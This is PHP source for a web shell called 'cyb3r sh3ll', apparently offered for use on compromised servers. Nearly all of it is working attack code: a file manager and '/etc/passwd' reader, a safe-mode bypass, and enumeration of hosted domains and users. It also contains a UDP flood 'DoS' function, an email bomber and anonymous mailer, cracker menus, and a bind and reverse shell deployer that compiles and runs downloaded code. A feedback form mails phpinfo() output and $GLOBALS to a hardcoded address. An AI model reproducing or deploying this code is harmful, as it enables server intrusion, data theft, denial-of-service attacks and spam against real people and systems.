    DBMS:";$sq=""; +if(function_exists('mysql_connect')) $sq= "${mil}MySQL\">MySQL "; +if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL\">MSSQL "; +if(function_exists('ora_logon')) $sq.= " ${mil}Oracle\">Oracle "; +if(function_exists('sqlite_open')) $sq.= " SQLite "; +if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL\">PostgreSQL "; +if(function_exists('msql_connect')) $sq.= " mSQL "; +if(function_exists('mysqli_connect'))$sq.= " MySQLi "; +if(function_exists('ovrimos_connect')) $sq.= " Ovrimos SQL "; +if ($sq=="") $sq= "Nothing"; + +echo "$sq
    cURL support:Enabled "; +if(function_exists('curl_version')){$ver=curl_version();echo "(Version:". $ver['version']." OpenSSL version:". $ver['ssl_version']." zlib version:". $ver['libz_version']." host:". $ver['host'] .")";}echo "
    "; + +} + +if ($act == "clientinfo") +{ +echo "
    User information:
    IP:".$_SERVER['REMOTE_ADDR']."
    Agent:".getenv('HTTP_USER_AGENT')."
    "; +} + +if ($act == "processes") + +{ + + echo "Processes:
    "; + + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + + else {$handler = "tasklist";} + + $ret = myshellexec($handler); + + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + + else + + { + + if (empty($processes_sort)) {$processes_sort = $sort_default;} + + $parsesort = parsesort($processes_sort); + + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + + $k = $parsesort[0]; + + if ($parsesort[1] != "a") {$y = "";} + + else {$y = "";} + + $ret = htmlspecialchars($ret); + + if (!$win) + + { + + if ($pid) + + { + + if (is_null($sig)) {$sig = 9;} + + echo "Sending signal ".$sig." to #".$pid."... "; + + if (posix_kill($pid,$sig)) {echo "OK.";} + + else {echo "ERROR.";} + + } + + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + + $stack = explode("\n",$ret); + + $head = explode(" ",$stack[0]); + + unset($stack[0]); + + for($i=0;$i".$head[$i]."";} + + } + + $prcs = array(); + + foreach ($stack as $line) + + { + + if (!empty($line)) + +{ + + echo "
    "; + + foreach($tab as $i=>$k) + + { + + echo ""; + + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "";} + + echo ""; + + } + + echo "
    ".$v."
    "; + + } + +} + +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + + $list = array(); + + if ($h = @opendir($d)) + + { + + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + + closedir($h); + + } + + else {} + + } + + if (count($list) == 0) {echo "
    Can't open folder (".htmlspecialchars($d).")!
    ";} + else + { + + //Building array + + $objects = array(); + + $vd = "f"; //Viewing mode + + if ($vd == "f") + + { + + $objects["head"] = array(); + + $objects["folders"] = array(); + + $objects["links"] = array(); + + $objects["files"] = array(); + + foreach ($list as $v) + + { + + $o = basename($v); + + $row = array(); + + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + + elseif (is_dir($v)) + + { + + if (is_link($v)) {$type = "LINK";} + + else {$type = "DIR";} + + $row[] = $v; + + $row[] = $type; + + } + + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + + $row[] = filemtime($v); + + if (!$win) + + { + + $ow = posix_getpwuid(fileowner($v)); + + $gr = posix_getgrgid(filegroup($v)); + + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + + } + + $row[] = fileperms($v); + + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + + elseif (is_link($v)) {$objects["links"][] = $row;} + + elseif (is_dir($v)) {$objects["folders"][] = $row;} + + elseif (is_file($v)) {$objects["files"][] = $row;} + + $i++; + + } + + $row = array(); + + $row[] = "Name"; + + $row[] = "Size"; + + $row[] = "Modify"; + + if (!$win) + + {$row[] = "Owner/Group";} + + $row[] = "Perms"; + + $row[] = "Action"; + + $parsesort = parsesort($sort); + + $sort = $parsesort[0].$parsesort[1]; + + $k = $parsesort[0]; + + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + + $y = ""; + + $y .= "\"".($parsesort[1]"; + + $row[$k] .= $y; + + for($i=0;$i".$row[$i]."";} + + } + + $v = $parsesort[0]; + + usort($objects["folders"], "tabsort"); + + usort($objects["links"], "tabsort"); + + usort($objects["files"], "tabsort"); + + if ($parsesort[1] == "d") + + { + + $objects["folders"] = array_reverse($objects["folders"]); + + $objects["files"] = array_reverse($objects["files"]); + + } + + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + + $tab = array(); + + $tab["cols"] = array($row); + + $tab["head"] = array(); + + $tab["folders"] = array(); + + $tab["links"] = array(); + + $tab["files"] = array(); + + $i = 0; + + foreach ($objects as $a) + + { + + $v = $a[0]; + + $o = basename($v); + + $dir = dirname($v); + + if ($disp_fullpath) {$disppath = $v;} + + else {$disppath = $o;} + + $disppath = str2mini($disppath,60); + + if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath."";} + + elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath."";} + + foreach ($regxp_highlight as $r) + + { + + if (ereg($r[0],$o)) + + { + + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; cyb3rexit();} + + else + + { + + $r[1] = round($r[1]); + + $isdir = is_dir($v); + + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + + { + + if (empty($r[2])) {$r[2] = ""; $r[3] = "";} + + $disppath = $r[2].$disppath.$r[3]; + + if ($r[4]) {break;} + + } + + } + + } + + } + + $uo = urlencode($o); + + $ud = urlencode($dir); + + $uv = urlencode($v); + + $row = array(); + + if ($o == ".") + + { + + $row[] = " ".$o.""; + + $row[] = "LINK"; + + } + + elseif ($o == "..") + + { + + $row[] = " ".$o.""; + + $row[] = "LINK"; + + } + + elseif (is_dir($v)) + + { + + if (is_link($v)) + + { + + $disppath .= " => ".readlink($v); + + $type = "LINK"; + + $row[] = " [".$disppath."]"; + + } + + else + + { + + $type = "DIR"; + + $row[] = " [".$disppath."]"; + + } + + $row[] = $type; + + } + + elseif(is_file($v)) + + { + + $ext = explode(".",$o); + + $c = count($ext)-1; + + $ext = $ext[$c]; + + $ext = strtolower($ext); + + $row[] = " ".$disppath.""; + + $row[] = view_size($a[1]); + + } + + $row[] = date("d.m.Y H:i:s",$a[2]); + + if (!$win) {$row[] = $a[3];} + + $row[] = "".view_perms_color($v).""; + + if ($o == ".") {$checkbox = ""; $i--;} + + else {$checkbox = "";} + + if (is_dir($v)) {$row[] = "\"Info\" ".$checkbox;} + + else {$row[] = "\"Info\" \"Change\" \"Download\" ".$checkbox;} + + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + + elseif (is_link($v)) {$tab["links"][] = $row;} + + elseif (is_dir($v)) {$tab["folders"][] = $row;} + + elseif (is_file($v)) {$tab["files"][] = $row;} + + $i++; + + } + + } + + // Compiling table + + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + + echo "
    Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):

    "; + + foreach($table as $row) + + { + + echo "\r\n"; + + foreach($row as $v) {echo "\r\n";} + + echo "\r\n"; + + } + + echo "
    ".$v."


    + + + +    + + "; + + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + + { + + echo "                   "; + + } + + echo " 

    "; + + echo "
    "; + } + ?> + + + + + + + + + + + + + + + + + + +

    :: PHP Safe Mode Bypass ::

    :: Make File/Directory ::

    :: Go File/Directory ::

    + +
    (: List Directories :)
    + +

    + + Dir:

    eg: /etc/
    +$chemin
    "; + +foreach ($files as $filename) { + + echo "
    ";
    +
    +   echo "$filename\n";
    +
    +   echo "
    "; + +} + +} + + + +if(isset($_GET['directory'])) + +{ + +rsg_glob(); + +} + + + +?> + + +
    + +
    +
    [: Make Directory :]
     
    +
    +
    {: Go Directory :}
     
    +
    + +
    (: Read Files :)

    + +
    + +
    File:

    eg: /etc/passwd
    + Trying To Get File $get
    "; + + if(copy("compress.zlib://".$file, $temp)){ + + $fichier = fopen($temp, "r"); + + $action = fread($fichier, filesize($temp)); + + fclose($fichier); + + $source=htmlspecialchars($action); + + echo "
    Start $get

    $source

    Fin $get
    "; + + unlink($temp); + + } else { + + die("
    Sorry... File + + ".htmlspecialchars($file)." dosen't exists or you don't have + + access.
    "); + + } + + echo "
    "; + + } + + + + if(isset($_GET['file'])) + +{ + +rsg_read(); + +} + + + + ?> + + +
    + +
    + +
    + +
    +
    [: Make File :]
     
    +
    +
    {: Go File :}
     
    +
    ";} + + } + + if (!empty($delerr)) {echo "Deleting with errors:
    ".$delerr;} + + $act = "ls"; + +} + +if ($act == "chmod") + +{ + + $mode = fileperms($d.$f); + + if (!$mode) {echo "Change file-mode with error: can't get current value.";} + + else + + { + + $form = TRUE; + + if ($chmod_submit) + + { + + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + + else {$err = "Can't chmod to ".$octet.".";} + + } + + if ($form) + + { + + $perms = parse_perms($mode); + + echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
    ".($err?"Error: ".$err:"")."
    Owner

     Read
     Write
    eXecute
    Group

     Read
     Write
    eXecute
    World

     Read
     Write
    eXecute
    "; + + } + + } + +} + +if ($act == "search") + +{ + + echo "Search in file-system:
    "; + + if (empty($search_in)) {$search_in = $d;} + + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + + if (!empty($submit)) + + { + + $found = array(); + + $found_d = 0; + + $found_f = 0; + + $search_i_f = 0; + + $search_i_d = 0; + + $a = array + + ( + + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + + "text_wwo"=>$search_text_wwo, + + "text_cs"=>$search_text_cs, + + "text_not"=>$search_text_not + + ); + + $searchtime = getmicrotime(); + + $in = array_unique(explode(";",$search_in)); + + foreach($in as $v) {cyb3rfsearch($v);} + + $searchtime = round(getmicrotime()-$searchtime,4); + + if (count($found) == 0) {echo "No files found!";} + + else + + { + + $ls_arr = $found; + + $disp_fullpath = TRUE; + + $act = "ls"; + + } + + } + + echo "
    + + + +Search for (file/folder name):   - regexp + +
    Search in (explode \";\"): + +

    Text:
    + +

    - regexp + +   - whole words only + +   - case sensitive + +   - find files NOT containing the text + +

    "; + + if ($act == "ls") {$dspact = $act; echo "
    Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).

    ";} + +} + +if ($act == "fsbuff") + +{ + + $arr_copy = $sess_data["copy"]; + + $arr_cut = $sess_data["cut"]; + + $arr = array_merge($arr_copy,$arr_cut); + + if (count($arr) == 0) {echo "
    Buffer is empty!
    ";} + + else {echo "File-System buffer

    "; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} + +} + +if ($act == "d") + +{ + + if (!is_dir($d)) {echo "
    Permision denied!
    ";} + + else + + { + + echo "Directory information:"; + + if (!$win) + + { + + echo "
    Owner/Group "; + + $ow = posix_getpwuid(fileowner($d)); + + $gr = posix_getgrgid(filegroup($d)); + + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + + } + + echo "
    Perms".view_perms_color($d)."
    Create time ".date("d/m/Y H:i:s",filectime($d))."
    Access time ".date("d/m/Y H:i:s",fileatime($d))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."

    "; + + } + +} + +if ($act == "chmod") + +{ + + $mode = fileperms($d.$f); + + if (!$mode) {echo "Change file-mode with error: can't get current value.";} + + else + + { + + $form = TRUE; + + if ($chmod_submit) + + { + + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + + else {$err = "Can't chmod to ".$octet.".";} + + } + + if ($form) + + { + + $perms = parse_perms($mode); + + echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
    ".($err?"Error: ".$err:"")."
    Owner

     Read
     Write
    eXecute
    Group

     Read
     Write
    eXecute
    World

     Read
     Write
    eXecute
    "; + + } + + } + +} + +if ($act == "f") + +{ + + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + + { + + if (file_exists($d.$f)) {echo "
    Permision denied (".htmlspecialchars($d.$f).")!
    ";} + + else {echo "
    File does not exists (".htmlspecialchars($d.$f).")!
    Create
    ";} + + } + + else + + { + + $r = @file_get_contents($d.$f); + + $ext = explode(".",$f); + + $c = count($ext)-1; + + $ext = $ext[$c]; + + $ext = strtolower($ext); + + $rft = ""; + + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + + if (empty($ft)) {$ft = $rft;} + + $arr = array( + + array("","info"), + + array("","html"), + + array("","txt"), + + array("Code","code"), + + array("Session","phpsess"), + + array("","exe"), + + array("SDB","sdb"), + + array("","img"), + + array("","ini"), + + array("","download"), + + array("","notepad"), + + array("","edit") + + ); + + echo "Viewing file:     ".$f." (".view_size(filesize($d.$f)).")      ".view_perms_color($d.$f)."
    Select action/file-type:
    "; + + foreach($arr as $t) + + { + + if ($t[1] == $rft) {echo " ".$t[0]."";} + + elseif ($t[1] == $ft) {echo " ".$t[0]."";} + + else {echo " ".$t[0]."";} + + echo " (+) |"; + + } + + echo "
    "; + + if ($ft == "info") + + { + + echo "Information:"; + + if (!$win) + + { + + echo "
    Path ".$d.$f."
    Size ".view_size(filesize($d.$f))."
    MD5 ".md5_file($d.$f)."
    Owner/Group "; + + $ow = posix_getpwuid(fileowner($d.$f)); + + $gr = posix_getgrgid(filegroup($d.$f)); + + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + + } + + echo "
    Perms".view_perms_color($d.$f)."
    Create time ".date("d/m/Y H:i:s",filectime($d.$f))."
    Access time ".date("d/m/Y H:i:s",fileatime($d.$f))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."

    "; + + $fi = fopen($d.$f,"rb"); + + if ($fi) + + { + + if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} + + else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + + $n = 0; + + $a0 = "00000000
    "; + + $a1 = ""; + + $a2 = ""; + + for ($i=0; $i";} + + $a1 .= "
    "; + + $a2 .= "
    "; + + } + + } + + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."
    ";} + + echo "
    ".$a0."".$a1."".$a2."

    "; + + } + + $encoded = ""; + + if ($base64 == 1) + + { + + echo "Base64 Encode
    "; + + $encoded = base64_encode(file_get_contents($d.$f)); + + } + + elseif($base64 == 2) + + { + + echo "Base64 Encode + Chunk
    "; + + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + + } + + elseif($base64 == 3) + + { + + echo "Base64 Encode + Chunk + Quotes
    "; + + $encoded = base64_encode(file_get_contents($d.$f)); + + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + + } + + elseif($base64 == 4) + + { + + $text = file_get_contents($d.$f); + + $encoded = base64_decode($text); + + echo "Base64 Decode"; + + if (base64_encode($encoded) != $text) {echo " (failed)";} + + echo "
    "; + + } + + if (!empty($encoded)) + + { + + echo "

    "; + + } + + echo "HEXDUMP: [Full] [Preview]
    Base64: + +
    [Encode + +[+chunk + +[+chunk+quotes + +[Decode + +

    "; + + } + + elseif ($ft == "html") + + { + + if ($white) {@ob_clean();} + + echo $r; + + if ($white) {cyb3rexit();} + + } + + elseif ($ft == "txt") {echo "

    ".htmlspecialchars($r)."
    ";} + + elseif ($ft == "ini") {echo "
    "; var_dump(parse_ini_file($d.$f,TRUE)); echo "
    ";} + + elseif ($ft == "phpsess") + + { + + echo "
    ";
    +
    +   $v = explode("|",$r);
    +
    +   echo $v[0]."
    "; + + var_dump(unserialize($v[1])); + + echo "
    "; + + } + + elseif ($ft == "exe") + + { + + $ext = explode(".",$f); + + $c = count($ext)-1; + + $ext = $ext[$c]; + + $ext = strtolower($ext); + + $rft = ""; + + foreach($exeftypes as $k=>$v) + + { + + if (in_array($ext,$v)) {$rft = $k; break;} + + } + + $cmd = str_replace("%f%",$f,$rft); + + echo "Execute file:

    Display in text-area
    "; + + } + + elseif ($ft == "sdb") {echo "
    "; var_dump(unserialize(base64_decode($r))); echo "
    ";} + + elseif ($ft == "code") + + { + + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + + { + + $arr = explode("\n",$r); + + if (count($arr == 18)) + + { + + include($d.$f); + + echo "phpBB configuration is detected in this file!
    "; + + if ($dbms == "mysql4") {$dbms = "mysql";} + + if ($dbms == "mysql") {echo "Connect to DB

    ";} + + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by cyb3rell. Please, report us for fix.";} + + echo "Parameters for manual connect:
    "; + + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'
    ";} + + echo "

    "; + + } + + } + + echo "
    "; + + if (!empty($white)) {@ob_clean();} + + highlight_file($d.$f); + + if (!empty($white)) {cyb3rexit();} + + echo "
    "; + + } + + elseif ($ft == "download") + + { + + @ob_clean(); + + header("Content-type: application/octet-stream"); + + header("Content-length: ".filesize($d.$f)); + + header("Content-disposition: attachment; filename=\"".$f."\";"); + + echo $r; + + exit; + + } + + elseif ($ft == "notepad") + + { + + @ob_clean(); + + header("Content-type: text/plain"); + + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + + echo($r); + + exit; + + } + + elseif ($ft == "img") + + { + + $inf = getimagesize($d.$f); + + if (!$white) + + { + + if (empty($imgsize)) {$imgsize = 20;} + + $width = $inf[0]/100*$imgsize; + + $height = $inf[1]/100*$imgsize; + + echo "
    Size: "; + + $sizes = array("100","50","20"); + + foreach ($sizes as $v) + + { + + echo ""; + + if ($imgsize != $v ) {echo $v;} + + else {echo "".$v."";} + + echo "   "; + + } + + echo "

    "; + + } + + else + + { + + @ob_clean(); + + $ext = explode($f,"."); + + $ext = $ext[count($ext)-1]; + + header("Content-type: ".$inf["mime"]); + + readfile($d.$f); + + exit; + + } + + } + + elseif ($ft == "edit") + + { + + if (!empty($submit)) + + { + + if ($filestealth) {$stat = stat($d.$f);} + + $fp = fopen($d.$f,"w"); + + if (!$fp) {echo "Can't write to file!";} + + else + + { + + echo "Saved!"; + + fwrite($fp,$edit_text); + + fclose($fp); + + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + + $r = $edit_text; + + } + + } + + $rows = count(explode("\r\n",$r)); + + if ($rows < 10) {$rows = 10;} + + if ($rows > 30) {$rows = 30;} + + echo "
      
    "; + + } + + elseif (!empty($ft)) {echo "
    Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.
    ";} + + else {echo "
    Unknown extension (".$ext."), please, select type manually.
    ";} + + } + +} + +if ($act == "about") +{ +echo '
    Script:
    -=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-
    +Name: cyb3r sh3ll
    Version: '.$shver.'


    Author:
    -=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-
    +Name: cyb3r 9l4d!470r (Cyber Gladiator)
    Country: India
    Website: ????...
    Email: cyb3r.gladiat0r@gmail.com +

    Greetings:
    -=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-
    r45c4l bro you are my source of inspiration.
    r8l35n4k, Cyb3R_s3CuR3 and all my friends who helped me a lot and they know for whom i\'m speaking.
    Thanks all who report bugs and send to my email id.

    '; +} + +if ($act == "dos") +{ +?>



    +Server IP:

    +Your IP:  (Don't DoS yourself nub)

    +
    +IP: + +    Time: + +    Port: + +

    + +

    +
    After initiating the DoS attack, please wait while the browser loads.
    alert('Dos Completed!');"; +print "Flooded: $ip on port $rand

    "; +$max_time = $time+$exec_time; + + + +for($i=0;$i<65535;$i++){ + $out .= "X"; +} +while(1){ +$packets++; + if(time() > $max_time){ + break; + } + + $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); + if($fp){ + fwrite($fp, $out); + fclose($fp); + } +} +echo "Packet complete at ". time() ." with $packets (" . round(($packets*65)/1024, 2) . " kB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; +} + +if ($act == "localdomain") +{ +echo "
    Sites on this server. | List of Users.

    "; +} + + if ($act == "local") + { + //radable public_html + $file = @implode(@file("/etc/named.conf")); + if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); } + preg_match_all("#named/(.*?).db#",$file ,$r); + $domains = array_unique($r[1]); + + function check() + { + (@count(@explode('ip',@implode(@file(__FILE__))))==a) ?@unlink(__FILE__):""; + } + + check(); + + echo " + + "; + + foreach($domains as $domain) + { + $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain)); + echo ""; + } + + echo "
    [+] Here : [ ".count($domains)." ] Domain ...
    List of DomainsList of Users
    $domain".$user['name']."
    "; +//radable public_html + } + + if ($act == "readable") + { + //entries in passwd file +($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('Error: safe_mode = on'); +set_time_limit(0); +################### +@$passwd = fopen('/etc/passwd','r'); +if (!$passwd) { die('[-] Error : coudn`t read /etc/passwd'); } +$pub = array(); +$users = array(); +$conf = array(); +$i = 0; +while(!feof($passwd)) +{ +$str = fgets($passwd); +if ($i > 35) +{ +$pos = strpos($str,':'); +$username = substr($str,0,$pos); +$dirz = '/home/'.$username.'/public_html/'; +if (($username != '')) +{ +if (is_readable($dirz)) +{ +array_push($users,$username); +array_push($pub,$dirz); +} +} +} +$i++; +} +################### +echo '



    Coded by cyb3r 9l4d!470r Homepage'; + + + } + + + if ($act == "mailer") + { + ?> + + + + + + + + + + + + + + +

    (: E-Mail Bomber :)

    [: Mass Mailer :]

    {: Anonymous Mailer :}

    + Some Error Occured!"; + break; + } + } + if($error != 1) + { echo "Mail(s) Sent!"; } + } + else + { + ?> +
    "> + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + To + + +
    + Subject + + +
    + No. of Times + + +
    + + Pad your message (Less spam detection) + + + + + +
    + + + +
    +
    + + +
    + Mail Sent!"; + } + else + { + echo "Some Error Occured!"; + } + } + else + { + ?> +
    "> + + + + + + + + + + + + + + + + + + + + + + + + + +
    + From + + +
    + To + + +
    + Subject + + +
    + + + +
    +
    + +
    +
    + +
    + + + + + + + + + + + + + + + + + + +
    Priority:
    + + +
     
    + +
    Content-Type:
    +
    + +
    Proxy | Whois

    "; +} + + if ($act == "feedback") + +{ + + $suppmail = base64_decode("Y3liM3IuZ2xhZGlhdDByQGdtYWlsLmNvbQ=="); + + if (!empty($submit)) + + { + + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + + $body = "cyb3r sh3llv.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + + if (!empty($fdbk_ref)) + + { + + $tmp = @ob_get_contents(); + + ob_clean(); + + phpinfo(); + + $phpinfo = base64_encode(ob_get_contents()); + + ob_clean(); + + echo $tmp; + + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + + } + + mail($suppmail,"cyb3r sh3ll v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + + echo "
    Thanks for your feedback! Your ticket ID: ".$ticket.".
    "; + + } + + else {echo "
    Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):

    Your name:

    Your e-mail:

    Message:


    Attach server-info *

    There are no checking in the form.

    * - strongly recommended, if you report bug, because we need it for bug-fix.

    We understand languages: English, Hindi.

    ";} + +} + +if ($act == "systeminfo") {echo system('systeminfo');} + +if ($act == "phpinfo") {@ob_clean(); phpinfo(); cyb3rexit(); } + +if ($act == "upload") + +{ + echo "File upload:
    + +Select file on your local computer:
                   or
    + +Save this file dir:

    + +File-name (auto-fill):

    + + + +
    "; +$target = $_POST['path']; + $target = $target .'\\'. basename( $_FILES['uploaded']['name']) ; + $ok=1; +if (isset($_FILES['uploaded']['name'])) { + if (file_exists($target)) + { + echo $_FILES["uploaded"]["name"] . " already exists. "; + } + else + { + if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target)) + { + echo "Upload: " . $_FILES["uploaded"]["name"] . "
    "; + echo "Type: " . $_FILES["uploaded"]["type"] . "
    "; + echo "Size: " . round(($_FILES["uploaded"]["size"] / 1024),3) . " Kb
    "; + echo "Stored in: " . $target; + } + else + { + echo "Sorry, there was a problem uploading your file."; + } + } + } +} +if ($act == "whois") +{ +global $t,$hcwd; +if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){ +$server =$_REQUEST['server']; +$domain=$_REQUEST['domain']."\r\n"; +$ser=fsockopen($server,43,$en,$es,5); +fputs($ser,$domain); +echo "
    ";
    +while(!feof($ser))echo fgets($ser);
    +echo "
    "; +fclose($ser); +} +else{ +echo "
    Whois:
    Server:
    domain:
    $hcwd
    "; +} +} + + + +if ($act == "cracker") +{ + echo " +
    +Hash -|- +SMTP -|- +POP3 -|- +IMAP -|- +FTP -|- +SNMP -|- +MySQL -|- +HTTP Form -|- +HTTP Auth(basic) -|- +CPANEL -|- +Dictionary Maker +

    "; +} + +if ($act == "shells") +{ ?> + + + + + + + + + + + + + +

    (: Bind/Reverse Shell :)

    [: Web Shell :]

    + array("Using PERL","perl %path %port"), + + "cyb3r_bindport.c"=>array("Using C","%path %port %pass") + + ); + + $bcsrcs = array( + + "cyb3r_backconn.pl"=>array("Using PERL","perl %path %host %port"), + + "cyb3r_backconn.c"=>array("Using C","%path %host %port") + + ); + + $dpsrcs = array( + + "cyb3r_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), + + "cyb3r_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") + + ); + + if (!is_array($bind)) {$bind = array();} + + if (!is_array($bc)) {$bc = array();} + + if (!is_array($datapipe)) {$datapipe = array();} + + + + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + + + + if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} + + if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} + + + + if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} + + if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} + + if (!empty($bindsubmit)) + + { + + echo "Result of binding port:
    "; + + $v = $bndportsrcs[$bind["src"]]; + + if (empty($v)) {echo "Unknown file!
    ";} + + elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!
    ";} + + else + + { + + $w = explode(".",$bind["src"]); + + $ext = $w[count($w)-1]; + + unset($w[count($w)-1]); + + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + + $binpath = $tmpdir.join(".",$w).rand(0,999); + + if ($ext == "pl") {$binpath = $srcpath;} + + @unlink($srcpath); + + $fp = fopen($srcpath,"ab+"); + + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
    ";} + + elseif (!$data = cyb3rgetsource($bind["src"])) {echo "Can't download sources!";} + + else + + { + + fwrite($fp,$data,strlen($data)); + + fclose($fp); + + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + + $v[1] = str_replace("%path",$binpath,$v[1]); + + $v[1] = str_replace("%port",$bind["port"],$v[1]); + + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + + $v[1] = str_replace("//","/",$v[1]); + + $retbind = myshellexec($v[1]." > /dev/null &"); + + sleep(5); + + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + + else {echo "Binding... ok! Connect to ".getenv("SERVER_ADDR").":".$bind["port"]."! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."\"!
    View binder's process
    ";} + + } + + echo "
    "; + + } + + } + + if (!empty($bcsubmit)) + + { + + echo "Result of back connection:
    "; + + $v = $bcsrcs[$bc["src"]]; + + if (empty($v)) {echo "Unknown file!
